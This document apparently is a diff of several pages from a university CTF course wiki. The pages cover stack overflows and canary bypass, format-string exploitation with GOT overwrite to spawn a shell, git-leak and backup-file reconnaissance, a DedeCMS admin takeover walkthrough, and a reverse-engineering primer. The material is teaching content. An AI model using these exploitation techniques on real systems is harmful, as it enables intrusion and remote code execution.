The x86 architecture typically uses the instruction call to call a function and the instruction ret to return. when the CPU executes the call instruction, it first puts the address of the next instruction of the current call instruction on the stack and then jumps to the called function. When the called function needs to return, it only needs to execute the ret instruction, and the CPU will come out with the address of the top of the stack and assign it to the EIP register. This address, which is used to tell the called function where it should return to the calling function, is called the return address. Ideally, the address taken out is the address deposited by the previous call to call. This allows the program to return to the parent function and continue execution. The compiler will always make sure that even if the child function uses the stack and modifies the top of the stack, it will restore the top of the stack to the state it was in when it first entered the function before the function returns, thus ensuring that the return address fetched will not be incorrect.

+

e6-3-1

+

Use the following command to compile the program of Example 6-3-1, turn off address randomization and stack overflow protection.

+
gcc -fno-stack-protector stack.c -o stack -no-pie
+
+

Run the program, debug with IDA, after entering 8 A, exit vuln function, the program executes ret instruction, the stack layout is shown in Figure 6-3-1. At this time, the top of the stack is saved 0x400579 that return address, after executing ret instruction, the program will jump to the location of 0x400579. Note that there is a string of 0x414141414141414141 above the return address, which is the 8 A's just entered. Since the get function does not check the length of the input data, it can increase the input until the return address is covered. From Figure 6-3-1, you can see that the return address is 18 bytes away from the first A. If you input more than 19 bytes, the return address will be overwritten.

+

Analyzing this program with IDA, we can learn that the location of the shell function is 0x400537, and our purpose is to make the program jump to this function so as to execute system ("/bin/sh") to get a shell.

+

In order to facilitate the input of some non-visible characters (such as address), here used to answer the PWN topic very useful tool pwntools, code comments will explain some of the commonly used functions, more specific instructions please refer to the official documentation.

+

6-3-1

+

The attack script is as follows.

+

p6-3-1

+

Use IDA to attach to the process for trace debugging, just to the location of ret, the return address has been overwritten to 0x400537, continue to run the program will jump to the shell function, so as to obtain the shell (see Figure 6-3-2).

+

6-3-2

+

2. Stack protection technology

+

Stack overflows are very difficult to exploit and very harmful. In order to alleviate the growing security problems caused by stack overflows, compiler developers introduced the Canary mechanism to detect stack overflow attacks.

+

Canary translates to canary in Chinese. The Canary protection mechanism is similar to this, by inserting a random number in front of the stack where rbp is stored, so that if an attacker uses a stack overflow vulnerability to overwrite the return address, it will also overwrite the Canary. The compiler adds a piece of code before the function ret instruction that will check if the value of Canary has been overwritten. If it is rewritten, an exception is thrown directly, interrupting the program and thus preventing the attack from occurring.

+

But this method is not always reliable, as in Example 6-3-2.

+

e6-3-2

+

Enable stack protection at compile time.

+
gcc stack2.c -no-pie -fstack-protector-all -o stack2
+
+

When vuln function enters, it will take the value of Canary from fs:28, put it into the location of rbp-8, compare the value of rbp-8 with the value in fs:28 before the function exits, and if it is changed, call __stack_chk_fail function, output error message and exit the program (see Figure 6-3-3 and Figure 6-3-4).

+

6-3-3

+

6-3-4

+

But this program will print the input string before the vuln function returns, which will leak the Canary on the stack and thus bypass the detection. Here you can control the length of the string to just connect to the Canary, which will make the Canary and the string printed together by the puts function. Since the lowest byte of the Canary is 0x00, an extra character needs to be sent to overwrite 0x00 in order to prevent it from being truncated by 0.

+

p6-3-2

+

In the next input, the leaked canary can be written to the original address and then continue to overwrite the return address:

+

p6-3-3

+

The above example illustrates that even if the compiler has protection enabled, you still need to pay attention to prevent stack overflow when writing the program, otherwise it may be exploited by attackers, which can have serious consequences.

+

3. Dangerous functions where stack overflows often occur

+

By looking for dangerous functions, we can quickly determine if a program may have a stack overflow and where the stack overflow is located. The common dangerous functions are as follows.

+

❖ Input: gets(), which reads a line directly up to the newline character '\n', while '\n' is converted to '\x00'; scanf(), which formats a string in which %s does not check the length; vscanf(), as above.

+

❖ Output: sprintf(), writes the formatted content to the buffer, but does not check the buffer length.

+

❖ String: strcpy(), stops when '\x00' is encountered, does not check the length, often prone to single-byte write 0 (off by one) overflow; strcat(), same as above.

+

4. Available stack overflow coverage locations

+

There are usually three types of stack overflow override locations available:

+

① Override the function return address, the previous examples are controlled by overriding the return address program.

+

② Overwrite the value of the BP register saved on the stack. The function will be called to save the stack site first, and then restore it when it returns, as follows (take x64 program as an example) When called.

+

p6-3-4

+

When returning: If the BP value on the stack is overwritten, the BP value of the main caller function will be changed after the function returns, and when the main caller function returns to the line ret, the SP will not point to the original return address location, but the BP location after being modified.

+

③ Depending on the realistic execution, overwriting the content of a specific variable or address may lead to some logic vulnerabilities.

+

Assignment

+

KFC crazy Thursday

+

On sale!

+

This challenge must create a dynamic docker and connect via domain or DNS.

+
    +
  1. +

    Outside university nc 116.7.234.225 port

    +
  2. +
  3. +

    inside university nc 10.20.55.12 port

    +
  4. +
+

Buffer overflow in heap

+

A heap of the heap.

+

This challenge must create a dynamic docker and connect via domain or DNS.

+
    +
  1. +

    Outside university nc 116.7.234.225 port

    +
  2. +
  3. +

    inside university nc 10.20.55.12 port

    +
  4. +
+

Love kernel

+

(None)

+

nc 103.102.44.94 8306

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/Lab 3 Secure Coding and Format-String Vulnerability/index.html b/CS315/Lab 3 Secure Coding and Format-String Vulnerability/index.html new file mode 100644 index 000000000..564abbdcc --- /dev/null +++ b/CS315/Lab 3 Secure Coding and Format-String Vulnerability/index.html @@ -0,0 +1,8389 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Lab 3: Secure Coding and Format-String Vulnerability - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Lab 3: Secure Coding and Format-String Vulnerability

+

Formatted String Vulnerability

+

Basic Principles of Formatted String Vulnerability

+

The commonly used formatted output functions in C are as follows:

+

f651

+

f652

+

Their usage is similar, and this section uses printf as an example. In C, the conventional usage of printf is:

+

f653

+

where the first parameter of the function with %d, %s, and other placeholders is called a formatted string, and the placeholders are used to specify how the output parameter values are formatted.

+

The syntax of the placeholders is:

+

f654

+

parameter can be ignored or for n$, n means that this placeholder is the first parameter passed in.

+

flags can be zero or more, mainly including:

+

❖ +- always indicates a '+' or '-' for a signed value, ignores the sign of positive numbers by default, and applies only to numeric types.

+

❖ Space - output of signed numbers is prefixed with 1 space if there is no plus or minus sign or 0 characters are output.

+

❖ --Left justified, default is right justified.

+

❖ # - For 'g' and 'G', the trailing 0 is not removed to indicate precision; for 'f', 'F', 'e', 'E', 'g', and 'G', the decimal point is always output; for 'o', 'x', and 'X', the prefix 0, 0x, and 0X are output before the non-zero value to indicate the number system, respectively.

+

❖ 0- in front of the width option, indicating padding with 0.

+

field width gives the minimum width of the displayed value, which is used to fill a fixed width when outputting. If the actual number of output characters is less than the field width, it will be filled according to left-aligned or right-aligned, and the negative sign is interpreted as left-aligned flag. If the domain width is set to "*", the value of the corresponding function parameter is the current domain width.

+

precision usually specifies the maximum length of the output, depending on the specific formatting type:

+

❖ For integer values of d, i, u, x, and o, the minimum number of digits, with any shortfall being filled with zeros on the left.

+

❖ For floating-point values of a, A, e, E, f, and F, the number of digits displayed to the right of the decimal point.

+

❖ For floating-point values of g, G, refers to the maximum number of significant digits.

+

❖ For the string type of s, it refers to the upper limit of the output bytes.

+

If the domain width is set to "*", the value of the corresponding function parameter is the precision current domain width.

+

length indicates the length of the floating-point argument or integer argument:

+

❖ hh-matches an integer argument of size int8 (1 byte).

+

❖ h-Matches an integer argument of size int16 (2 bytes).

+

❖ l-matches integer parameters of size long for integer types, double for floating point types, wchar_t pointer parameters for string s types, and wint_t parameters for character c types.

+

❖ ll-matches integer parameters of size long long.

+

❖ L-matches integer parameters of size long double.

+

❖ z-Matches integer parameters of size_t size.

+

❖ j-Matches integer parameters of size intmax_t.

+

❖ t-matches an integer parameter of size ptrdiff_t.

+

The type representation is as follows:

+

❖ d, i-Signed decimal int values.

+

❖ u-Decimal unsigned int value.

+

❖ f, F-Decimal double values.

+

❖ e, E-double value, the output form is "[-]d.ddd e[+/-]ddd" in decimal.

+

❖ g, G-double values, with f or e format automatically selected depending on the size of the value.

+

❖ x, X-hexadecimal unsigned int values.

+

❖ o-Octal unsigned int value.

+

❖ s-A string ending in \x00.

+

❖ c-A char type character.

+

❖ p-void* pointer type value.

+

❖ a, A-double type hexadecimal representation, i.e., "[-]0xh.hhhh p±d", with the exponent part in the form of decimal representation.

+

❖ n-Writes the number of characters that have been successfully output to the variable referred to by the corresponding integer pointer parameter.

+

❖ %-'%' literal value, does not accept any flags, width, precision or length.

+

If the formatted string of printf in the program is controllable, the printf function will take data from the register or stack corresponding to the location of the argument as an argument to read or write even if the corresponding argument is not filled in at the time of the call, which can easily result in arbitrary address reading and writing.

+

Basic Exploitation of Formatted String Vulnerability

+

The formatted string vulnerability allows for arbitrary memory reads and writes. Since function parameters are passed through the stack, the data on the stack can be leaked using "%X$p" (X is an arbitrary positive integer). Moreover, if you can control the data on the stack, you can write the address you want to leak on the stack in advance, and then use "%X$p" to output the address you want to leak as a string.

+

In addition, since "%n" can write the number of characters that have been successfully output to the variable indicated by the corresponding integer pointer parameter, it is possible to arrange the address of the memory you want to write on the stack in advance. Then you can write to any memory by using "%Yc%X$n" (Y is the data you want to write).

+

e651

+

Compile the program in Example 6-5-1 with the following command:

+

f655

+

Set a breakpoint at printf, when RSP is exactly where we entered the string, i.e., the 6th argument (the first 5 arguments and formatted string of 64-bit Linux are passed by registers), and we enter "AAAAAAAAA%6$p".

+

f656

+

The program does output the 8 A's entered as pointer variables, and we can use this to leak information first.

+

The stack contains the return address pressed in before __libc_start_main calls __libc_csu_init (see Figure 6-5-1), and based on this address, we can calculate the base address of libc, which can be calculated at the location of the 21st argument; similarly, _start is at the location of the 17th argument, through which we can calculate the base address of the fsb program. The base address of the fsb program can be calculated by using it.

+

f657

+

651

+

Once you have the libc base address, you can calculate the address of the system function, and then modify the address of the printf function in the GOT table to the address of the system function. The next time you execute printf(format), you will actually execute system(format) and enter format as "/bin/sh" to get the shell. use the script as follows.

+

f658

+

f659

+

The script splits system's address (6 bytes) into 3 words (2 bytes) because if you output more than one int-type byte at a time, printf will output several gigabytes of data, which may be very slow when attacking a remote server, or cause a broken pipe (broken pipe). Note that in 64-bit programs, the address often accounts for only 6 bytes, that is, the high 2 bytes must be "\x00", so the 3 addresses must be placed at the end of the payload, and not at the top. Although placed at the top, the offset is better calculated, but printf output string is up to "\x00", the "\x00" in the address will truncate the string, after the placeholder used to write the address will not take effect.

+

How to use formatted strings that are not on the stack

+

Sometimes the input string is not stored on the stack, so there is no way to directly address the stack to control the printf arguments, which is a relatively complicated situation.

+

Because the program has the operation of pressing rbp onto the stack when calling a function or putting some pointer variables on the stack, there will be many pointers on the stack that hold the address on the stack, and it is easy to find three pointers p1, p2, p3, forming a situation where p1 points to p2 and p2 points to p3, then we can first use p1 to modify the lowest 1 byte of p2, which can make p2 point to p3 pointer 8 bytes of Any 1 byte and modify it, so that p3 can be modified byte by byte to become any value, indirectly controlling the data on the stack.

+

e6521

+

e6522

+

Compile the program of Example 6-5-2 with the following command:

+

f660

+

Set a breakpoint at printf, at this point the stack distribution is shown in Figure 6-5-2. The pointer saved at 0x7ffffffee030 points to 0x7ffffffee060, and the pointer saved at 0x7ffffffee060 points to 0x7ffffffee080, which satisfies the above requirements. These three pointers are at printf No. 10, 16, and 20 arguments. The program requests a block of memory to hold the input string before the loop executes 30 times of input and output, which will be released at the end of the loop and then exits the program. We can change the value at 0x7ffffffee080 to the address of the free function item in the GOT table, and change the function pointer there to the address of the system function. This way, when executing free (format), what is actually executed is system (format), just type "/bin/sh" to get the shell.

+

652

+

The complete script is as follows:

+

f661

+

f662

+

f663

+

Some special uses of formatted strings

+

Formatting strings sometimes encounters some rare placeholders, such as "*" to take the value of the corresponding function argument as the width, printf ("%*d", 3, 1) to output " 1".

+

f664

+

As in Example 6-5-3, guessing the sum of two numbers, you can get the shell after guessing right. not considering the case of blasting, although the formatted string can leak the value of these two numbers, but the input is before the leak, after the leak has been unable to modify the guessed value, so you must use this opportunity to fill in the sum of a and b directly to num, which requires the use of placeholder "*".

+

Set a breakpoint at printf(buf), at this point the data on the stack is shown in Figure 6-5-3. a and b numbers (0x1b2d and 0xc8e3 respectively) are in the 8th and 9th argument positions, and num_ptr is in the 11th argument position. a and b numbers are used as two output widths, and the number of characters output is the sum of a and b. Then use "% n" is written into num to achieve the effect of num==a+b.

+

653

+

The script is as follows:

+

f665

+

Formatted Strings Summary

+

Formatted strings utilize ultimately arbitrary address reading and writing, and a program that can do arbitrary address reading and writing is not far from full control.

+

Sometimes programs turn on the Fortify protection mechanism so that all printf() is replaced by __printf_chk() when the program is compiled. The difference between the two is as follows:

+

❖ When using positional arguments, you must use all arguments in the range and cannot print discontinuously using positional arguments. For example, to use "%3$x", you must use both "%1$x" and "%2$x".

+

❖ A formatted string containing "%n" cannot be located at a writable address in memory.

+

While it is difficult to write to arbitrary addresses at this point, it is possible to exploit arbitrary address reads for information leakage, which can be used in conjunction with other vulnerabilities.

+

Assignment

+

(1 - Easy) fmt

+

Read the flag from stack!

+

This challenge must create a dynamic docker and connect via domain name +detroit.sustech.edu.cn or IP address.

+
    +
  1. Outside university nc 116.7.234.225 port
  2. +
  3. inside university nc 10.20.55.12 port or nc detroit.sustech.edu.cn port
  4. +
+

(2 - Medium) write

+

If you are lucky enough, you would win.

+

This challenge must create a dynamic docker and connect via domain name +detroit.sustech.edu.cn or IP address.

+
    +
  1. Outside university nc 116.7.234.225 port
  2. +
  3. inside university nc 10.20.55.12 port or nc detroit.sustech.edu.cn port
  4. +
+

(3 - Medium/Hard) got

+

I just want to exit instead of return.

+

This challenge must create a dynamic docker and connect via domain name +detroit.sustech.edu.cn or IP address.

+
    +
  1. Outside university nc 116.7.234.225 port
  2. +
  3. inside university nc 10.20.55.12 port or nc detroit.sustech.edu.cn port
  4. +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/Lab 4 Scanning, Reconnaissance, and Penetration Testing/index.html b/CS315/Lab 4 Scanning, Reconnaissance, and Penetration Testing/index.html new file mode 100644 index 000000000..b03f0c901 --- /dev/null +++ b/CS315/Lab 4 Scanning, Reconnaissance, and Penetration Testing/index.html @@ -0,0 +1,8317 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Lab 4: Scanning, Reconnaissance, and Penetration Testing - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Lab 4: Scanning, Reconnaissance, and Penetration Testing

+

In the traditional CTF online competition, Web class is one of the main types of questions, compared to binary, reverse and other types of questions, participants do not need to master the underlying knowledge of the system; compared to cryptography, miscellaneous issues, does not require a particularly strong programming skills, so it is easier to start. web class topics common types of vulnerabilities include injection, XSS, file inclusion, code execution, upload, SSRF, etc. This chapter will introduce the CTF online vulnerabilities.

+

This chapter will introduce various common Web vulnerabilities in the CTF online competition, and through the analysis of relevant examples, the reader will have a relatively comprehensive understanding of the CTF online competition Web topics as much as possible. However, the classification of Web vulnerabilities is very complicated, so we hope that readers can learn about them on the Internet while reading this book, so that they can learn from one example to improve their own abilities.

+

According to the frequency of vulnerabilities, the complexity of vulnerabilities, we will be divided into Web class topics into introductory, advanced, and expansion of the three levels of introduction. When explaining each level of vulnerability, we supplemented with relevant example problem analysis, so that readers can more intuitively understand the impact of different vulnerabilities in the CTF online competition Web class topics, from the shallow to deep understanding of Web class topics, clear their own skill deficiencies, so as to achieve the purpose of making up. This chapter starts from the "Getting Started" level and introduces the three most common types of vulnerabilities in the Web category, namely information gathering, SQL injection, and arbitrary file reading vulnerabilities.

+

Pivotal information gathering

+

The importance of information gathering

+

As the old saying goes, "If you know yourself and your enemy, you will never lose a hundred battles". In the Web category of the CTF online competition, information gathering covers a wide range of topics, including backup files, directory information, Banner information, etc. This requires participants to have a lot of experience or to use some scripts to help them find information and exploit vulnerabilities in the topic. This section will describe as much as possible the information collection contained in the Web category of the CTF online competition, and will also recommend some open source tools and software that have been tested by the authors.

+

Because most of the information gathering is the use of tools (git leaks may involve the application of git commands), this chapter may not have much technical detail. At the same time, because there are more kinds of information gathering, this chapter will cover as much as possible, so please understand if there are any shortcomings; at the end, it will reflect the importance of information gathering through practical examples of competitions.

+

Classification of information gathering

+

Preliminary information gathering on the topic may have a very important role in solving the topic of CTF online competition. The following will talk about the basic information gathering from three aspects: sensitive directory, sensitive backup file, and Banner identification, and how to discover the direction of solving the problem in CTF online competition.

+

Sensitive Directory Leakage

+

Through sensitive directory leakage, we can often obtain the source code and sensitive URL addresses of websites, such as the backend address of websites, etc.

+

1. git leakage

+

[Vulnerability Introduction] git is a mainstream distributed version control system, developers often forget the .git folder in the development process, leading to attackers can obtain all the information in the .git folder that developers have submitted This allows attackers to access all the source code committed by the developer through the information in the .git folder, which may lead to the server being compromised by the attack.

+

(1) Conventional git leaks Conventional git leaks:

+

without any other operations, the participant can obtain the website source code or flags by using ready-made tools or scripts written by themselves. Here is a recommended tool: https://github.com/denny0223/scrabble, the use of which is also very simple.

+
./scrabble http://example.com/
+
+

Build the Web environment locally by yourself, see Figure 1-1-1.

+

111

+

Run the tool, you can get the source code, get the flag, see Figure 1-1-2.

+

112

+

(2) git rollback

+

As a version control tool, git records every commit, so when there is a git leak, the flag (sensitive) file may be deleted or overwritten in the revision, then we can use git's "git reset" command to restore to the previous version. See Figure 1-1-3 for a local web environment.

+

113

+

We first use the scrabble tool to get the source code, and then use the "git reset--hard HEAD^" command to jump to the previous version (in git, the current version is represented by HEAD, and the previous version is HEAD^) to get the source code, see Figure 1-1-4.

+

114

+

In addition to using "git reset", a simpler way to see what files have been modified by each commit is to use the "git log-stat" command, and then use "git diff HEAD commit-id" to compare the changes between the current version and the commit you want to see.

+

(3) git branches

+

Each time you commit, git automatically strings them together into a timeline, which is a branch. And git allows multiple branches, thus allowing users to separate work from the main development thread so that it doesn't interfere with it. If no new branches are created, then there is only one timeline, i.e., only one branch, which defaults to the master branch in git. So the flags or sensitive files we are looking for may not be hidden in the current branch, so using the "git log" command will only find the changes made on the current branch, but not the information we want, so we need to switch branches to find the files we want.

+

Most off-the-shelf git leaks do not support branches, so if you need to restore code from another branch, you often need to extract the files by hand, so here is an example of the more powerful GitHacker (https://github.com/WangYihang/GitHacker) tool. Just run the command "python GitHacker.py http://127.0.0.1:8000/.git/". Once you run it, you'll see the folder you created locally, but if you run "git log--all" or "git branch-v", you'll only see the master branch. If you run "git reflog", you can see some checkout records, see Figure 1-1-5.

+

115

+

As you can see, there is a secret branch in addition to the master branch, but the automation tool only restores the information of the master branch, so you need to manually download the head information of the secret branch and save it to .git/refs/heads/secret (execute the command "wget http:// 127.0.0.1:8000/.git/refs/heads/secret"). After restoring the head information, we can reuse some of the GitHacker code to automate the branch restoration process. As you can see in GitHacker's code, he downloads the object file first, then uses git fsck to detect it, and continues to download the missing file. Here you can directly reuse the fixmissing function that detects missing files and restores them. Let's comment out the last part of the program that calls main and change it to the following code.

+

c111

+

If you run "python GitHacker.py" again, go to the folder you created, and run "git log--all" or "git branch-v" command, you will be able to recover the secret branch information, find the corresponding commit hash from the git log, and execute the command "git diff HEAD b94c" (b94c is the first 4 bits of the hash) to get the flag, see Figure 1-1-6.

+

116

+

(4) Other uses of git leaks

+

In addition to the common exploit of viewing the source code, the leaked git may also contain other useful information, such as the .git/config folder may contain access_token information, which allows access to other repositories of this user.

+

2. SVN vulnerability

+

SVN (subversion) is the source code version management software, the main reason for SVN source code vulnerability is the administrator's irregular operation to expose the SVN hidden folder to the external network environment, you can use the .svn/entries or wc.db file to obtain the server source code and other information. Here we recommend two tools: https://github.com/kost/dvcs-ripper and Seay-svn (source code backup vulnerability exploit tool for Windows).

+

3. HG leak

+

When initializing the project, HG will create a .hg hidden folder under the current folder, which contains information such as code and branch modification records. Here is a recommended tool: https://github.com/kost/dvcs-ripper.

+

4. Summary of experience

+

Whether it is .git these hidden files or sensitive backend folders like admin in practice, the key lies in the power of the dictionary, and the reader can do secondary development on the basis of certain tools to meet their needs. Here is a recommended open source directory scanning tool: https://github.com/maurosoria/dirsearch.

+

CTF online competitions often have problems with redirects of one kind or another. For example, as soon as you visit .git, it will return 403, at this time try to visit .git/config, if there are file content returned, it means that there is a git leak, and vice versa, generally does not exist. In SVN leaks, the source code is usually crawled in the entries, but sometimes there are cases where the entries are empty, then pay attention to the existence of the wc.db file or not, and you can get the source code in the pristine folder through the checksum there.

+

Sensitive backup files

+

Through some sensitive backup files, we can often get the source code of a file, or the whole directory of a website, etc.

+

1. gedit backup files

+

Under Linux, after saving with the gedit editor, a file with the suffix "~" will be generated in the current directory, whose contents are the contents of the file just edited. Assuming that the name of the file you just saved is flag, the file name is flag ~, see Figure 1-1-7. Access this file with "~" through your browser to get the source code.

+

117

+

vim is currently the most used Linux editor. When a user is editing a file but quits unexpectedly (e.g., when connecting to the server via SSH, you may encounter an unexpected exit due to a command line jam caused by insufficient network speed in the process of editing a file with vim), a backup file will be generated in the current directory with the following file name format

+
.filename.swp
+
+

This file is used to backup the contents of the buffer, i.e. the contents of the file at the time of exit, see Figure 1-1-8.

+

118

+

For the SWP backup file, we can use the "vim-r" command to restore the contents of the file. Here we simulate the execution of "vim flag" command first, and then close the client directly, a .flag.swp file will be generated in the current directory. To restore the SWP backup file, first create a flag file in the current directory, and then use the "vim-r flag" command to get the contents edited during the accidental exit, see Figure 1-1-9.

+

119

+

Regular files rely on the saturation of dictionaries, whether in CTF competitions or in the real world, we will encounter some classic and recognizable files, so that we can better understand the site. Here are just a few simple examples, the specific needs of the reader to collect records by heart.

+

❖ robots.txt: record some directory and CMS version information.

+

❖ readme.md: Record CMS version information, some even have Github address.

+

❖ www.zip/rar/tar.gz: It is often the source code backup of the website.

+

4. Summary of experience

+

In the process of CTF online competition, the questioner will often operate and maintain the question online, and sometimes various situations will lead to the generation of SWP backup files, so the reader can write real-time monitoring scripts to monitor the question service during the competition.

+

The backup file generated by vim in the first unexpected exit is .swp, the one in the second unexpected exit is .swo, the one in the third exit is .swn, and so on. vim's official manual also has backup files of type .un.filename.swp.

+

Also, in a real-world environment, backups of a website may often be a zip archive of the website domain.

+ +

In CTF online competition, the Banner information (some basic information displayed by the server to the outside world) of a website has a very important role in solving the problem, and players can often use the Banner information to get ideas for solving the problem. For example, when we know that the website is written with ThinkPHP web framework, we can try the relevant historical vulnerability of ThinkPHP framework. Or when we learn that the site is a Windows server, then we can try based on the characteristics of Windows when testing for upload vulnerabilities. Here are the two most common ways to identify Banner.

+

1. collect your own fingerprint library

+

Github has a large number of formed and publicly available CMS fingerprint library, readers can find their own, and at the same time can draw on some formed scanners to identify the site.

+

2. Use existing tools

+

We can use the Wappalyzer tool (see Figure 1-1-10), which also provides a well-formed Python library with the following usage.

+

c112

+

1110

+

In the data directory, the apps.json file is its rule base, and readers are free to add it according to their needs.

+

3. Summary of experience

+

In the server Banner information detection, in addition to the two common identification methods mentioned above, we can also try to enter some random URLs, and sometimes we can find some information through 404 pages and 302 bounce pages. For example, a ThinkPHP website with debug option turned on will show the version of ThinkPHP on some error pages.

+

From information gathering to topic resolution

+

The following is a replay of a CTF range race scenario to show how to go from information gathering to getting flags.

+

1. Environment information

+

❖ Windows 7.

+

❖ PHPstudy 2018 (with directory traversal turned on).

+

❖ DedeCMS (Weaving Dream CMS, member registration not turned on).

+

2. Solution steps

+

By visiting the website, according to the observation and Wappalyzer's prompt (see Figure 1-1-11 and Figure 1-1-12), we can find that this is DedeCMS built on Windows, and visiting the default backend directory is found to be 404, see Figure 1-1-13.

+

1111

+

1112

+

1113

+

At this point we can associate DedeCMS on Windows server there is a backend directory blasting vulnerability (the cause of the vulnerability is not described here, the reader can check), we run the local blasting script, get the directory zggga111, see Figure 1-1-14.

+

1114

+

However, after testing, we found that the member registration function is turned off, which means we cannot use the member password reset vulnerability to reset the administrator password. What should we do? In fact, in DedeCMS, as long as the administrator has logged in the background, there will be a corresponding session file in the data directory, and this topic happens not to close the directory traversal, see Figure 1-1-15. so we can get the administrator's session value, modify the cookie through editcookie, so as to successfully enter the background, see Figure 1- 1-16.

+

1115

+

1116

+

Then insert a piece of malicious code in the template's tag source fragment management to execute any command, see Figure 1-1-17 and Figure 1-1-18.

+

1117

+

1118

+

3. Summary

+

This example can reflect the importance of information gathering in two ways.

+

❖ One is the information of the server, for Windows server, the probability means we go to find some vulnerability of CMS on it.

+

❖ The second is the final RCE (Remote Command/Code Execute) through the characteristics of the CMS website itself combined with directory traversal without knowing the password and being unable to reset it.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/Lab 5 Reverse Engineering and Obfuscation/index.html b/CS315/Lab 5 Reverse Engineering and Obfuscation/index.html new file mode 100644 index 000000000..7e6544203 --- /dev/null +++ b/CS315/Lab 5 Reverse Engineering and Obfuscation/index.html @@ -0,0 +1,8458 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Lab 5: Reverse Engineering and Obfuscation - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Lab 5: Reverse Engineering and Obfuscation

+

Reverse engineering is a technical process of analyzing and studying a target product in reverse, so as to deduce and derive design elements such as processing flow, organization, functional performance specifications, etc., in order to produce a product with similar but not identical functions. In CTF, reverse engineering generally refers to software reverse engineering, i.e., analyzing the executable file that has been compiled, studying the behavior and algorithm of the program, and then using it as a basis to calculate the flags that the questioner wants to hide.

+

Reverse Engineering Basics

+

Overview of Reverse Engineering

+

Generally, the reverse engineering topic in CTF is in the form of: the program receives an input from the user, and carries out a series of verification algorithms in the program, and if it passes the verification, it will indicate success, at which time the input is the flag. these verification algorithms can be mature encryption and decryption scheme, or can be the author's own algorithm. For example, a mini-game uses the user's input as the operation step of the game to judge, etc. These types of topics require participants to have certain algorithmic skills, thinking skills, and even association skills.

+

This section will introduce the basics needed to get started with CTF inverse topics and introduce common tools, assuming the reader has some basic knowledge of C.

+

Executable files

+

The object of software reverse engineering analysis is a program, i.e., one or more executable files. The following is a brief introduction to the formation process of executable files and common executable file types, so that readers can have a preliminary knowledge of them.

+

1. The formation process of executable files (compilation and linking)

+

For readers who are new to this area, it is crucial to form a proper understanding and sense of executable files. Again, as something created by human civilization, executable files are not generated directly as if by magic, but through a series of steps.

+

The vast majority of normal executables are generated by compiling a high-level language. In general, these processes occur when compiling:

+

<1> The user takes a set of source code written in a high-level language as input to the compiler.

+

<2> The compiler parses the input and generates the corresponding assembly code for each source code file.

+

<3> The assembler receives the compiler-generated assembly code and continues to perform assembly operations, temporarily storing each copy of the generated machine code in the respective object file.

+

<4> Now multiple object files have been generated, but the final goal is to generate an executable file. So the linker gets involved, interconnecting the scattered object files and processing them into a complete program. Then, according to the format of the executable file, it fills in various parameters specifying the running environment of the program and finally forms a complete executable file.

+

In the actual environment, there is more or less information loss in each step of the process due to the need to consider the size of the generated executable, the runtime performance of the executable, and the protection of information. For example, the comment information in the source code is generally discarded in the compilation stage, the label (label) name in the assembly code may be discarded in the assembly, and the symbolic information such as function name and type name may be discarded in the linking.

+

Reverse requires the use of knowledge and experience to restore some of this information, and thus restore all or part of the program flow to achieve various purposes of the analyst.

+

2. Executable files in different formats

+

In practice, due to historical legacy and competition between companies, etc., the various files generated in each step described above will have multiple file formats. For example, Windows systems use PE (Portable Executable) executables, while Linux systems use ELF (Executable and Linkable Format) executables. Since both executable formats are developed from COFF (Common File Format) format, various concepts in the file structure are very similar.

+

PE file consists of DOS header, PE file header, section table and data of each section; meanwhile, if you need to refer to external dynamic link library, there is import table; if you can provide functions to other programs to dynamically.

+

The ELF file consists of the ELF header, section data, section table, string segment, and symbol table.

+

Sections are logical divisions of sections in a program, usually with specific names, such as .text or .code for code sections, .data for data sections, etc. At runtime, the sections of an executable are loaded into various locations in memory, and one or more sections are mapped into a Segment for ease of management and to save overhead. Segments are divided according to the permissions (read, write, execute) required for this part of memory. If an illegal operation is performed in the corresponding segment, such as a write operation in a code segment that can only be read and executed, a Segmentation Fault is generated.

+

Since the basic format details of PE and ELF are fully disclosed and there are a lot of mature tools for parsing and modifying them, we will not explain these format details in detail here.

+

Assembly Language Basics

+

After parsing the file, the reverser is confronted with a large piece of machine code, which is directly generated by the assembly language.

+

The following is an introduction to the key concepts of assembly language, so that readers can quickly understand assembly language.

+

1. Registers, memory and addressing

+

Register is a part of CPU, which is a high-speed storage component with limited storage capacity, used to temporarily store instructions, data and addresses. A typical IA-32 (Intel Architecture, 32-bit), or x86 architecture processor contains the following registers that are explicitly visible in instructions:

+

❖ General-purpose registers EAX, EBX, ECX, EDX, ESI, EDI.

+

❖ Top-of-stack pointer register ESP, bottom-of-stack pointer register EBP.

+

❖ Instruction counter EIP (holds the address of the next address of the next instruction to be executed).

+

❖ Segment registers CS, DS, SS, ES, FS, GS.

+

For the x86-64 architecture, based on these registers above, the prefix E is changed to R to mark 64 bits, and eight general-purpose registers, R8 to R15, are added. In addition, for the 16-bit case, the prefix E is removed altogether. 16-bit, there are certain restrictions on the use of registers, which will not be repeated in this book since they are not mainstream now.

+

For general-purpose registers, the program can use all of them or only part of them. The corresponding helpers for different parts of the registers are shown in Figure 5-1-1, where the naming rules for splitting R8 to R15 are R8d (low 32 bits), R8w (low 16 bits) and R8b (low 8 bits).

+

511

+

